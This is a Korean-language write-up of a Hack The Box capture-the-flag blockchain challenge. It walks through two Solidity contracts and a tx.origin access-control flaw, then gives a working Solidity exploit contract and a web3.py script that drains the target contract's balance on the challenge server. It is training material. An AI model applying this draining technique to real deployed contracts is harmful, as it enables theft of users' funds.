해외 유명 워게임 사이트인 Hack The Box의 Blockchain 보안 워게임을 풀어보았다.
링크: https://app.hackthebox.com/challenges/Distract%2520and%2520Destroy
1. 문제 설명이다. 그렇다고 한다.
After defeating her first monster, Alex stood frozen, staring up at another massive, hulking creature that loomed over her. She knew that this was a fight she couldn't win on her own. She turned to her guildmates, trying to come up with a plan. "We need to distract it," Alex said. "If we can get it off balance, we might be able to take it down." Her guildmates nodded, their eyes narrowed in determination. They quickly came up with a plan to lure the monster away from their position, using a combination of noise and movement to distract it. As they put their plan into action, Alex drew her sword and waited for her chance.
2. 문제 소스코드를 보자
1. setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Creature} from "./Creature.sol";
contract Setup {
Creature public immutable TARGET;
constructor() payable {
require(msg.value == 1 ether);
TARGET = new Creature{value: 10}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
isSolved() 함수의 return값이 true가 되면 문제가 풀린다.
이를 위해서는 address(TARGET)의 잔고를 0으로 만들어줘야 한다.
하지만, constructor에서도 볼 수 있듯, TARGET의 잔고는 현재 "10"이다.
2. Creature.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 1000;
}
function attack(uint256 _damage) external {
if (aggro == address(0)) {
aggro = msg.sender;
}
if (_isOffBalance() && aggro != msg.sender) {
lifePoints -= _damage;
} else {
lifePoints -= 0;
}
}
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
function _isOffBalance() private view returns (bool) {
return tx.origin != msg.sender;
}
}
TARGET contract이다.
최종적으로 loot 함수를 실행시키면 exploit이 가능할 것으로 보인다.
한번 step을 밟아보자.
1. attack(damage)를 통해 lifePoints를 깎아야 loot()함수 실행이 가능하다.
2. attack()함수 내부를 보자.
attack(uint256 _damage)
결국 실행시켜야 하는 것은 attack(1000)일 것이다.
하지만, 이를 실행하려면
if (_isOffBalance() && aggro != msg.sender) {
lifePoints -= _damage;
이 부분까지 접근해야 할 것이고,
그 전의 if문도 통과해야 한다.
통과해야 하는 조건들을 살펴보면,
if (aggro == address(0)) {
aggro = msg.sender;
}
if (_isOffBalance() && aggro != msg.sender) {
lifePoints -= _damage;
이 두 가지 부분이다.
첫 번째에는, address형인 aggro 변수가 초기화되어있지 않다면, msg.sender를 aggro에 할당하는 것이고,
두 번째 부분은, msg.sender와 aggro가 같지 않으면서, _isOffBalance() 값이 true를 반환해야 한다.
_isOffBalance()함수는
function _isOffBalance() private view returns (bool) {
return tx.origin != msg.sender;
}
인 것을 보면, 그냥 컨트랙트 만들어서 호출하라는 말이다.
그럼, 공격 시나리오를 구성해보자.
1. _isOffBalance()에서 true를 반환하도록 해야 하니, 저 부분의 조건문은 EOA에서 바로 호출하는 것이 아닌, CA에서 호출하도록 해야 한다.
2. 그러면서 또, aggro != msg.sender가 되어야 하므로, aggro변수에 CA의 주소가 들어있으면 안된다.
그렇다면, 이렇게 하면 되겠다.
1. EOA에서 attack()함수를 호출
2. CA에서 attack(1000)을 호출
이대로 코드를 작성해보자. 일단 2번의 CA먼저.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface creature {
function attack(uint256 _damage) external;
}
contract exploit {
creature public target;
constructor(address _target) {
target = creature(_target);
target.attack(1000);
}
}
이 코드를 두 번째 공격에서 실행시켜주면 될 것이다.
그럼 1, 2번 과정을 모두 처리해주는 코드를 python으로 작성해주자.
from web3 import Web3
import requests
import json
url = 'http://94.237.54.214:47456'
w3 = Web3(Web3.HTTPProvider(url + "/rpc"))
assert w3.is_connected()
key = json.loads(requests.get(url + "/connection_info").content)
prikey = key['PrivateKey']
user_addr = key['Address']
target_addr = key['TargetAddress']
f = open("creature_abi", "r"); t_abi = f.read(); f.close()
target_cont = w3.eth.contract(address=target_addr, abi=t_abi)
nonce = w3.eth.get_transaction_count(user_addr)
tx = target_cont.functions.attack(1000).build_transaction({
'from': user_addr,
'nonce': nonce,
'gas': 2000000,
'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, prikey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'first attack\n {tx_receipt}')
f = open("attack_abi", "r"); a_abi = f.read(); f.close()
f = open("attack_bin", "r"); a_bin = f.read(); f.close()
attack_cont = w3.eth.contract(abi=a_abi, bytecode=a_bin)
tx = attack_cont.constructor(target_addr).build_transaction({
'from': user_addr,
'nonce': nonce+1,
'gas': 2000000,
'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, prikey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'second attack\n {tx_receipt}')
tx = target_cont.functions.loot().transact()
print(w3.eth.wait_for_transaction_receipt(tx))
assert target_cont.functions.lifePoints().call() == 0
이렇게 하고 실행해주면 공격에 성공한다.
아마 web3py를 이용해 익스플로잇 하는 코드는 많이 찾아보기 힘들 것이다.
그런데 .. 그냥 파이썬이 편해서 이렇게 하는것이기도 하다.
일단 very easy에 속한 난이도이다보니 payload 구성이 어렵지 않았던 것 같다.